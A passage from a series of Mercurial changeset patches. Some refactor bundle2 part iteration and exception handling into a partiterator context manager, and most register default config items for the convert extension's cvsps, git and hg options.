Differential Revision: https://phab.mercurial-scm.org/D703

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -347,6 +347,16 @@
         _processchangegroup(op, unbundler, tr, source, url, **kwargs)
         return op
 
+class partiterator(object):
+    def __init__(self, unbundler):
+        self.unbundler = unbundler
+
+    def __enter__(self):
+        return enumerate(self.unbundler.iterparts())
+
+    def __exit__(self, type, value, tb):
+        pass
+
 def processbundle(repo, unbundler, transactiongetter=None, op=None):
     """This function process a bundle, apply effect to/from a repo
 
@@ -378,48 +388,49 @@
             msg.append(' with-transaction')
         msg.append('\n')
         repo.ui.debug(''.join(msg))
-    iterparts = enumerate(unbundler.iterparts())
-    part = None
-    nbpart = 0
-    try:
-        for nbpart, part in iterparts:
-            _processpart(op, part)
-    except Exception as exc:
-        # Any exceptions seeking to the end of the bundle at this point are
-        # almost certainly related to the underlying stream being bad.
-        # And, chances are that the exception we're handling is related to
-        # getting in that bad state. So, we swallow the seeking error and
-        # re-raise the original error.
-        seekerror = False
+
+    with partiterator(unbundler) as parts:
+        part = None
+        nbpart = 0
         try:
-            for nbpart, part in iterparts:
-                # consume the bundle content
-                part.seek(0, 2)
-        except Exception:
-            seekerror = True
+            for nbpart, part in parts:
+                _processpart(op, part)
+        except Exception as exc:
+            # Any exceptions seeking to the end of the bundle at this point are
+            # almost certainly related to the underlying stream being bad.
+            # And, chances are that the exception we're handling is related to
+            # getting in that bad state. So, we swallow the seeking error and
+            # re-raise the original error.
+            seekerror = False
+            try:
+                for nbpart, part in parts:
+                    # consume the bundle content
+                    part.seek(0, 2)
+            except Exception:
+                seekerror = True
 
-        # Small hack to let caller code distinguish exceptions from bundle2
-        # processing from processing the old format. This is mostly
-        # needed to handle different return codes to unbundle according to the
-        # type of bundle. We should probably clean up or drop this return code
-        # craziness in a future version.
-        exc.duringunbundle2 = True
-        salvaged = []
-        replycaps = None
-        if op.reply is not None:
-            salvaged = op.reply.salvageoutput()
-            replycaps = op.reply.capabilities
-        exc._replycaps = replycaps
-        exc._bundle2salvagedoutput = salvaged
+            # Small hack to let caller code distinguish exceptions from bundle2
+            # processing from processing the old format. This is mostly needed
+            # to handle different return codes to unbundle according to the type
+            # of bundle. We should probably clean up or drop this return code
+            # craziness in a future version.
+            exc.duringunbundle2 = True
+            salvaged = []
+            replycaps = None
+            if op.reply is not None:
+                salvaged = op.reply.salvageoutput()
+                replycaps = op.reply.capabilities
+            exc._replycaps = replycaps
+            exc._bundle2salvagedoutput = salvaged
 
-        # Re-raising from a variable loses the original stack. So only use
-        # that form if we need to.
-        if seekerror:
-            raise exc
-        else:
-            raise
-    finally:
-        repo.ui.debug('bundle2-input-bundle: %i parts total\n' % nbpart)
+            # Re-raising from a variable loses the original stack. So only use
+            # that form if we need to.
+            if seekerror:
+                raise exc
+            else:
+                raise
+        finally:
+            repo.ui.debug('bundle2-input-bundle: %i parts total\n' % nbpart)
 
     return op
 
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505348210 25200
#      Wed Sep 13 17:16:50 2017 -0700
# Node ID 550343626bb2c3fe0d8086aab489b0c0cbb5dffe
# Parent  e9e0e1143fc5e6b990e7521026996b23fc37ab79
bundle2: move part counter to partiterator

As part of moving the part iterator logic to a separate class, let's move the
part counting logic and the output for it.

Differential Revision: https://phab.mercurial-scm.org/D704

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -348,14 +348,27 @@
         return op
 
 class partiterator(object):
-    def __init__(self, unbundler):
+    def __init__(self, repo, unbundler):
+        self.repo = repo
         self.unbundler = unbundler
+        self.iterator = None
+        self.count = 0
 
     def __enter__(self):
-        return enumerate(self.unbundler.iterparts())
+        def func():
+            itr = enumerate(self.unbundler.iterparts())
+            for count, p in itr:
+                self.count = count
+                yield p
+        self.iterator = func()
+        return self.iterator
 
     def __exit__(self, type, value, tb):
-        pass
+        if not self.iterator:
+            return
+
+        self.repo.ui.debug('bundle2-input-bundle: %i parts total\n' %
+                           self.count)
 
 def processbundle(repo, unbundler, transactiongetter=None, op=None):
     """This function process a bundle, apply effect to/from a repo
@@ -389,11 +402,10 @@
         msg.append('\n')
         repo.ui.debug(''.join(msg))
 
-    with partiterator(unbundler) as parts:
+    with partiterator(repo, unbundler) as parts:
         part = None
-        nbpart = 0
         try:
-            for nbpart, part in parts:
+            for part in parts:
                 _processpart(op, part)
         except Exception as exc:
             # Any exceptions seeking to the end of the bundle at this point are
@@ -403,7 +415,7 @@
             # re-raise the original error.
             seekerror = False
             try:
-                for nbpart, part in parts:
+                for part in parts:
                     # consume the bundle content
                     part.seek(0, 2)
             except Exception:
@@ -429,8 +441,6 @@
                 raise exc
             else:
                 raise
-        finally:
-            repo.ui.debug('bundle2-input-bundle: %i parts total\n' % nbpart)
 
     return op
 
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505360341 25200
#      Wed Sep 13 20:39:01 2017 -0700
# Node ID 21c2df59a1dad534bfac45acc0bbfb6cb2afe9b4
# Parent  550343626bb2c3fe0d8086aab489b0c0cbb5dffe
bundle2: move exception handling into part iterator

As part of separating the part iteration logic from the part handling logic,
let's move the exception handling to the part iterator class.

Differential Revision: https://phab.mercurial-scm.org/D705

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -348,8 +348,9 @@
         return op
 
 class partiterator(object):
-    def __init__(self, repo, unbundler):
+    def __init__(self, repo, op, unbundler):
         self.repo = repo
+        self.op = op
         self.unbundler = unbundler
         self.iterator = None
         self.count = 0
@@ -363,10 +364,43 @@
         self.iterator = func()
         return self.iterator
 
-    def __exit__(self, type, value, tb):
+    def __exit__(self, type, exc, tb):
         if not self.iterator:
             return
 
+        if exc:
+            # Any exceptions seeking to the end of the bundle at this point are
+            # almost certainly related to the underlying stream being bad.
+            # And, chances are that the exception we're handling is related to
+            # getting in that bad state. So, we swallow the seeking error and
+            # re-raise the original error.
+            seekerror = False
+            try:
+                for part in self.iterator:
+                    # consume the bundle content
+                    part.seek(0, 2)
+            except Exception:
+                seekerror = True
+
+            # Small hack to let caller code distinguish exceptions from bundle2
+            # processing from processing the old format. This is mostly needed
+            # to handle different return codes to unbundle according to the type
+            # of bundle. We should probably clean up or drop this return code
+            # craziness in a future version.
+            exc.duringunbundle2 = True
+            salvaged = []
+            replycaps = None
+            if self.op.reply is not None:
+                salvaged = self.op.reply.salvageoutput()
+                replycaps = self.op.reply.capabilities
+            exc._replycaps = replycaps
+            exc._bundle2salvagedoutput = salvaged
+
+            # Re-raising from a variable loses the original stack. So only use
+            # that form if we need to.
+            if seekerror:
+                raise exc
+
         self.repo.ui.debug('bundle2-input-bundle: %i parts total\n' %
                            self.count)
 
@@ -402,45 +436,9 @@
         msg.append('\n')
         repo.ui.debug(''.join(msg))
 
-    with partiterator(repo, unbundler) as parts:
-        part = None
-        try:
-            for part in parts:
-                _processpart(op, part)
-        except Exception as exc:
-            # Any exceptions seeking to the end of the bundle at this point are
-            # almost certainly related to the underlying stream being bad.
-            # And, chances are that the exception we're handling is related to
-            # getting in that bad state. So, we swallow the seeking error and
-            # re-raise the original error.
-            seekerror = False
-            try:
-                for part in parts:
-                    # consume the bundle content
-                    part.seek(0, 2)
-            except Exception:
-                seekerror = True
-
-            # Small hack to let caller code distinguish exceptions from bundle2
-            # processing from processing the old format. This is mostly needed
-            # to handle different return codes to unbundle according to the type
-            # of bundle. We should probably clean up or drop this return code
-            # craziness in a future version.
-            exc.duringunbundle2 = True
-            salvaged = []
-            replycaps = None
-            if op.reply is not None:
-                salvaged = op.reply.salvageoutput()
-                replycaps = op.reply.capabilities
-            exc._replycaps = replycaps
-            exc._bundle2salvagedoutput = salvaged
-
-            # Re-raising from a variable loses the original stack. So only use
-            # that form if we need to.
-            if seekerror:
-                raise exc
-            else:
-                raise
+    with partiterator(repo, op, unbundler) as parts:
+        for part in parts:
+            _processpart(op, part)
 
     return op
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786373 -7200
#      Fri Jun 30 03:32:53 2017 +0200
# Node ID 8860100908ebe5738d625ab66605ed381f5afb8f
# Parent  21c2df59a1dad534bfac45acc0bbfb6cb2afe9b4
configitems: register the 'convert.cvsps.cache' config

The convert extensions has code a bit all around, but it seems simpler to use a
central declaration of options at the root first.

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -28,6 +28,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('convert', 'cvsps.cache',
+    default=True,
+)
+
 # Commands definition was moved elsewhere to ease demandload job.
 
 @command('convert',
diff --git a/hgext/convert/cvs.py b/hgext/convert/cvs.py
--- a/hgext/convert/cvs.py
+++ b/hgext/convert/cvs.py
@@ -76,7 +76,7 @@
             id = None
 
             cache = 'update'
-            if not self.ui.configbool('convert', 'cvsps.cache', True):
+            if not self.ui.configbool('convert', 'cvsps.cache'):
                 cache = None
             db = cvsps.createlog(self.ui, cache=cache)
             db = cvsps.createchangeset(self.ui, db,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786386 -7200
#      Fri Jun 30 03:33:06 2017 +0200
# Node ID 50f1c2d98db0cd367572120ff4670cbb65475f1d
# Parent  8860100908ebe5738d625ab66605ed381f5afb8f
configitems: register the 'convert.cvsps.fuzz' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -34,6 +34,9 @@
 configitem('convert', 'cvsps.cache',
     default=True,
 )
+configitem('convert', 'cvsps.fuzz',
+    default=60,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/cvs.py b/hgext/convert/cvs.py
--- a/hgext/convert/cvs.py
+++ b/hgext/convert/cvs.py
@@ -80,7 +80,7 @@
                 cache = None
             db = cvsps.createlog(self.ui, cache=cache)
             db = cvsps.createchangeset(self.ui, db,
-                fuzz=int(self.ui.config('convert', 'cvsps.fuzz', 60)),
+                fuzz=int(self.ui.config('convert', 'cvsps.fuzz')),
                 mergeto=self.ui.config('convert', 'cvsps.mergeto', None),
                 mergefrom=self.ui.config('convert', 'cvsps.mergefrom', None))
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786395 -7200
#      Fri Jun 30 03:33:15 2017 +0200
# Node ID 6ea92f1b7a8799f2751ac1f4a1c7030f6f57e334
# Parent  50f1c2d98db0cd367572120ff4670cbb65475f1d
configitems: register the 'convert.cvsps.mergefrom' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -37,6 +37,9 @@
 configitem('convert', 'cvsps.fuzz',
     default=60,
 )
+configitem('convert', 'cvsps.mergefrom',
+    default=None,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/cvs.py b/hgext/convert/cvs.py
--- a/hgext/convert/cvs.py
+++ b/hgext/convert/cvs.py
@@ -82,7 +82,7 @@
             db = cvsps.createchangeset(self.ui, db,
                 fuzz=int(self.ui.config('convert', 'cvsps.fuzz')),
                 mergeto=self.ui.config('convert', 'cvsps.mergeto', None),
-                mergefrom=self.ui.config('convert', 'cvsps.mergefrom', None))
+                mergefrom=self.ui.config('convert', 'cvsps.mergefrom'))
 
             for cs in db:
                 if maxrev and cs.id > maxrev:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786405 -7200
#      Fri Jun 30 03:33:25 2017 +0200
# Node ID 698cccf1ad28265dec14241a931472654511105c
# Parent  6ea92f1b7a8799f2751ac1f4a1c7030f6f57e334
configitems: register the 'convert.cvsps.mergeto' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -40,6 +40,9 @@
 configitem('convert', 'cvsps.mergefrom',
     default=None,
 )
+configitem('convert', 'cvsps.mergeto',
+    default=None,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/cvs.py b/hgext/convert/cvs.py
--- a/hgext/convert/cvs.py
+++ b/hgext/convert/cvs.py
@@ -81,7 +81,7 @@
             db = cvsps.createlog(self.ui, cache=cache)
             db = cvsps.createchangeset(self.ui, db,
                 fuzz=int(self.ui.config('convert', 'cvsps.fuzz')),
-                mergeto=self.ui.config('convert', 'cvsps.mergeto', None),
+                mergeto=self.ui.config('convert', 'cvsps.mergeto'),
                 mergefrom=self.ui.config('convert', 'cvsps.mergefrom'))
 
             for cs in db:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786409 -7200
#      Fri Jun 30 03:33:29 2017 +0200
# Node ID a608b46a5ed0091d7d353950785a358f277faa9c
# Parent  698cccf1ad28265dec14241a931472654511105c
configitems: register the 'convert.git.committeractions' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -43,6 +43,9 @@
 configitem('convert', 'cvsps.mergeto',
     default=None,
 )
+configitem('convert', 'git.committeractions',
+    default=lambda: ['messagedifferent'],
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -110,8 +110,7 @@
             raise error.Abort(_('copying of extra key is forbidden: %s') %
                               _(', ').join(sorted(banned)))
 
-        committeractions = self.ui.configlist('convert', 'git.committeractions',
-                                              'messagedifferent')
+        committeractions = self.ui.configlist('convert', 'git.committeractions')
 
         messagedifferent = None
         messagealways = None
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786421 -7200
#      Fri Jun 30 03:33:41 2017 +0200
# Node ID 89e666798111135fde7ac63a47eee7c3b5f305fe
# Parent  a608b46a5ed0091d7d353950785a358f277faa9c
configitems: register the 'convert.git.extrakeys' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -46,6 +46,9 @@
 configitem('convert', 'git.committeractions',
     default=lambda: ['messagedifferent'],
 )
+configitem('convert', 'git.extrakeys',
+    default=list,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786431 -7200
#      Fri Jun 30 03:33:51 2017 +0200
# Node ID 3e3327ced4eddc17eca4cdfa5cc51afc5f17d7aa
# Parent  89e666798111135fde7ac63a47eee7c3b5f305fe
configitems: register the 'convert.git.findcopiesharder' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -49,6 +49,9 @@
 configitem('convert', 'git.extrakeys',
     default=list,
 )
+configitem('convert', 'git.findcopiesharder',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -86,8 +86,7 @@
             raise error.Abort(_('similarity must be between 0 and 100'))
         if similarity > 0:
             self.simopt = ['-C%d%%' % similarity]
-            findcopiesharder = ui.configbool('convert', 'git.findcopiesharder',
-                                             False)
+            findcopiesharder = ui.configbool('convert', 'git.findcopiesharder')
             if findcopiesharder:
                 self.simopt.append('--find-copies-harder')
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786440 -7200
#      Fri Jun 30 03:34:00 2017 +0200
# Node ID f74edb48c574daba33bc9faa6325542f74c132e1
# Parent  3e3327ced4eddc17eca4cdfa5cc51afc5f17d7aa
configitems: register the 'convert.git.remoteprefix' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -52,6 +52,9 @@
 configitem('convert', 'git.findcopiesharder',
     default=False,
 )
+configitem('convert', 'git.remoteprefix',
+    default='remote',
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -446,7 +446,7 @@
         bookmarks = {}
 
         # Handle local and remote branches
-        remoteprefix = self.ui.config('convert', 'git.remoteprefix', 'remote')
+        remoteprefix = self.ui.config('convert', 'git.remoteprefix')
         reftypes = [
             # (git prefix, hg prefix)
             ('refs/remotes/origin/', remoteprefix + '/'),
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786446 -7200
#      Fri Jun 30 03:34:06 2017 +0200
# Node ID d54ebe5bb41167556e96fdb2451a49eef08c3931
# Parent  f74edb48c574daba33bc9faa6325542f74c132e1
configitems: register the 'convert.git.renamelimit' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -55,6 +55,9 @@
 configitem('convert', 'git.remoteprefix',
     default='remote',
 )
+configitem('convert', 'git.renamelimit',
+    default=400,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -90,8 +90,7 @@
             if findcopiesharder:
                 self.simopt.append('--find-copies-harder')
 
-            renamelimit = ui.configint('convert', 'git.renamelimit',
-                                       default=400)
+            renamelimit = ui.configint('convert', 'git.renamelimit')
             self.simopt.append('-l%d' % renamelimit)
         else:
             self.simopt = []
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786454 -7200
#      Fri Jun 30 03:34:14 2017 +0200
# Node ID 15794577bcf3732003ff3207304b29fdb79ea49a
# Parent  d54ebe5bb41167556e96fdb2451a49eef08c3931
configitems: register the 'convert.git.saverev' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -58,6 +58,9 @@
 configitem('convert', 'git.renamelimit',
     default=400,
 )
+configitem('convert', 'git.saverev',
+    default=True,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -372,7 +372,7 @@
         tzs, tzh, tzm = tz[-5:-4] + "1", tz[-4:-2], tz[-2:]
         tz = -int(tzs) * (int(tzh) * 3600 + int(tzm))
         date = tm + " " + str(tz)
-        saverev = self.ui.configbool('convert', 'git.saverev', True)
+        saverev = self.ui.configbool('convert', 'git.saverev')
 
         c = common.commit(parents=parents, date=date, author=author,
                           desc=message,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786463 -7200
#      Fri Jun 30 03:34:23 2017 +0200
# Node ID ed3ff1df715f18ee70f044099465423efa043cdc
# Parent  15794577bcf3732003ff3207304b29fdb79ea49a
configitems: register the 'convert.git.similarity' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -61,6 +61,9 @@
 configitem('convert', 'git.saverev',
     default=True,
 )
+configitem('convert', 'git.similarity',
+    default=50,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -81,7 +81,7 @@
                                 path)
 
         # The default value (50) is based on the default for 'git diff'.
-        similarity = ui.configint('convert', 'git.similarity', default=50)
+        similarity = ui.configint('convert', 'git.similarity')
         if similarity < 0 or similarity > 100:
             raise error.Abort(_('similarity must be between 0 and 100'))
         if similarity > 0:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786472 -7200
#      Fri Jun 30 03:34:32 2017 +0200
# Node ID edac06f3f46d364b9d648427b502a6e95f5fdcff
# Parent  ed3ff1df715f18ee70f044099465423efa043cdc
configitems: register the 'convert.git.skipsubmodules' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -64,6 +64,9 @@
 configitem('convert', 'git.similarity',
     default=50,
 )
+configitem('convert', 'git.skipsubmodules',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -261,8 +261,7 @@
         lcount = len(difftree)
         i = 0
 
-        skipsubmodules = self.ui.configbool('convert', 'git.skipsubmodules',
-                                            False)
+        skipsubmodules = self.ui.configbool('convert', 'git.skipsubmodules')
         def add(entry, f, isdest):
             seen.add(f)
             h = entry[3]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786485 -7200
#      Fri Jun 30 03:34:45 2017 +0200
# Node ID 5b8cb63c130c93f44152d8fd34c32cd17a2412bc
# Parent  edac06f3f46d364b9d648427b502a6e95f5fdcff
configitems: register the 'convert.hg.clonebranches' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -67,6 +67,9 @@
 configitem('convert', 'git.skipsubmodules',
     default=False,
 )
+configitem('convert', 'hg.clonebranches',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/hg.py b/hgext/convert/hg.py
--- a/hgext/convert/hg.py
+++ b/hgext/convert/hg.py
@@ -48,7 +48,7 @@
     def __init__(self, ui, path):
         common.converter_sink.__init__(self, ui, path)
         self.branchnames = ui.configbool('convert', 'hg.usebranchnames', True)
-        self.clonebranches = ui.configbool('convert', 'hg.clonebranches', False)
+        self.clonebranches = ui.configbool('convert', 'hg.clonebranches')
         self.tagsbranch = ui.config('convert', 'hg.tagsbranch', 'default')
         self.lastbranch = None
         if os.path.isdir(path) and len(os.listdir(path)) > 0:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786489 -7200
#      Fri Jun 30 03:34:49 2017 +0200
# Node ID 79c01348ef34d9c1df142115854c07d9f8812b05
# Parent  5b8cb63c130c93f44152d8fd34c32cd17a2412bc
configitems: register the 'convert.hg.ignoreerrors' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -70,6 +70,9 @@
 configitem('convert', 'hg.clonebranches',
     default=False,
 )
+configitem('convert', 'hg.ignoreerrors',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/hg.py b/hgext/convert/hg.py
--- a/hgext/convert/hg.py
+++ b/hgext/convert/hg.py
@@ -446,7 +446,7 @@
 class mercurial_source(common.converter_source):
     def __init__(self, ui, path, revs=None):
         common.converter_source.__init__(self, ui, path, revs)
-        self.ignoreerrors = ui.configbool('convert', 'hg.ignoreerrors', False)
+        self.ignoreerrors = ui.configbool('convert', 'hg.ignoreerrors')
         self.ignored = set()
         self.saverev = ui.configbool('convert', 'hg.saverev', False)
         try:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786498 -7200
#      Fri Jun 30 03:34:58 2017 +0200
# Node ID 1a594c1d83f8f4d29fa94c4e3d2911f715d70626
# Parent  79c01348ef34d9c1df142115854c07d9f8812b05
configitems: register the 'convert.hg.revs' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -73,6 +73,9 @@
 configitem('convert', 'hg.ignoreerrors',
     default=False,
 )
+configitem('convert', 'hg.revs',
+    default=None,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786512 -7200
#      Fri Jun 30 03:35:12 2017 +0200
# Node ID 9bda5ce97be3ff7d51069926a815510f3e13ca38
# Parent  1a594c1d83f8f4d29fa94c4e3d2911f715d70626
configitems: register the 'convert.hg.saverev' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -76,6 +76,9 @@
 configitem('convert', 'hg.revs',
     default=None,
 )
+configitem('convert', 'hg.saverev',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/hg.py b/hgext/convert/hg.py
--- a/hgext/convert/hg.py
+++ b/hgext/convert/hg.py
@@ -448,7 +448,7 @@
         common.converter_source.__init__(self, ui, path, revs)
         self.ignoreerrors = ui.configbool('convert', 'hg.ignoreerrors')
         self.ignored = set()
-        self.saverev = ui.configbool('convert', 'hg.saverev', False)
+        self.saverev = ui.configbool('convert', 'hg.saverev')
         try:
             self.repo = hg.repository(self.ui, path)
             # try to provoke an exception if this isn't really a hg
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786522 -7200
#      Fri Jun 30 03:35:22 2017 +0200
# Node ID 0ef4e9e30b88cbcc40fa888404f239dfd9319851
# Parent  9bda5ce97be3ff7d51069926a815510f3e13ca38
configitems: register the 'convert.hg.sourcename' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -79,6 +79,9 @@
 configitem('convert', 'hg.saverev',
     default=False,
 )
+configitem('convert', 'hg.sourcename',
+    default=None,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786529 -7200
#      Fri Jun 30 03:35:29 2017 +0200
# Node ID 3a09e6cecff06f8a2258ef0111e869edf1e7769a
# Parent  0ef4e9e30b88cbcc40fa888404f239dfd9319851
configitems: register the 'convert.hg.startrev' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -82,6 +82,9 @@
 configitem('convert', 'hg.sourcename',
     default=None,
 )
+configitem('convert', 'hg.startrev',
+    default=None,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786538 -7200
#      Fri Jun 30 03:35:38 2017 +0200
# Node ID 84044b904c6acc32c97f188049919c27c3189a6b
# Parent  3a09e6cecff06f8a2258ef0111e869edf1e7769a
configitems: register the 'convert.hg.tagsbranch' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -85,6 +85,9 @@
 configitem('convert', 'hg.startrev',
     default=None,
 )
+configitem('convert', 'hg.tagsbranch',
+    default='default',
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/hg.py b/hgext/convert/hg.py
--- a/hgext/convert/hg.py
+++ b/hgext/convert/hg.py
@@ -49,7 +49,7 @@
         common.converter_sink.__init__(self, ui, path)
         self.branchnames = ui.configbool('convert', 'hg.usebranchnames', True)
         self.clonebranches = ui.configbool('convert', 'hg.clonebranches')
-        self.tagsbranch = ui.config('convert', 'hg.tagsbranch', 'default')
+        self.tagsbranch = ui.config('convert', 'hg.tagsbranch')
         self.lastbranch = None
         if os.path.isdir(path) and len(os.listdir(path)) > 0:
             try:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786548 -7200
#      Fri Jun 30 03:35:48 2017 +0200
# Node ID c72af5a4f9972c85707cddfbbf7b17f89ee4cef9
# Parent  84044b904c6acc32c97f188049919c27c3189a6b
configitems: register the 'convert.hg.usebranchnames' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -88,6 +88,9 @@
 configitem('convert', 'hg.tagsbranch',
     default='default',
 )
+configitem('convert', 'hg.usebranchnames',
+    default=True,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
diff --git a/hgext/convert/hg.py b/hgext/convert/hg.py
--- a/hgext/convert/hg.py
+++ b/hgext/convert/hg.py
@@ -47,7 +47,7 @@
 class mercurial_sink(common.converter_sink):
     def __init__(self, ui, path):
         common.converter_sink.__init__(self, ui, path)
-        self.branchnames = ui.configbool('convert', 'hg.usebranchnames', True)
+        self.branchnames = ui.configbool('convert', 'hg.usebranchnames')
         self.clonebranches = ui.configbool('convert', 'hg.clonebranches')
         self.tagsbranch = ui.config('convert', 'hg.tagsbranch')
         self.lastbranch = None
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786555 -7200
#      Fri Jun 30 03:35:55 2017 +0200
# Node ID 7d83591831f02c99f8a36fefe79849000572ab95
# Parent  c72af5a4f9972c85707cddfbbf7b17f89ee4cef9
configitems: register the 'convert.ignoreancestorcheck' config

diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -91,6 +91,9 @@
 configitem('convert', 'hg.usebranchnames',
     default=True,
 )
+configitem('convert', 'ignoreancestorcheck',
+    default=False,
+)
 
 # Commands definition was moved elsewhere to ease demandload job.
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786560 -7200
#      Fri Jun 30 03:36:00 2017 +0200
